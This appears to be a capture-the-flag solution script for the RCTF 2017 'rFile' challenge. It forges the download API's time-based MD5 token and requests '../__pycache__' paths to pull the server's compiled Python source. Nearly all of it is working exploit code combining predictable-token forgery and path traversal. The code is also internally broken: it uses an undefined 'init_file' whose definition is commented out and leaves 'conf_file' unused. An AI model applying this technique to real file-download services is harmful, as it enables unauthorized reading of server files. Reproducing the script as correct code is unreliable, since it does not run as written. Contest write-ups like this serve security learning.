RCTF 2017 - rFile Solution
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from __future__ import division | |
import hashlib | |
import requests | |
from datetime import datetime, timedelta | |
api_url = 'http://rfile.2017.teamrois.cn/api/download/{}/{}' | |
def totimestamp(dt, epoch=datetime(1970,1,1)): | |
td = dt - epoch | |
return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6 | |
def gen_md5(filename): | |
tstamp = datetime.now() | |
tstamp = tstamp.replace(second=0, microsecond=0) | |
tstamp = int(totimestamp(tstamp)) - 10800 + 60 # fix timezone | |
plaintext = '{}{}'.format(tstamp, filename) | |
md5 = hashlib.md5(plaintext).hexdigest() | |
return md5 | |
#init_file = '../__pycache__/__init__.cpython-35.pyc' => decompile using uncompyle6 (python3) | |
conf_file = '../__pycache__/conf.cpython-35.pyc' | |
download_url = api_url.format(gen_md5(init_file), init_file) | |
resp = requests.get(download_url) | |
print resp.text | |
#with open('__init__.pyc', 'wb') as f: | |
# f.write(resp.content) |
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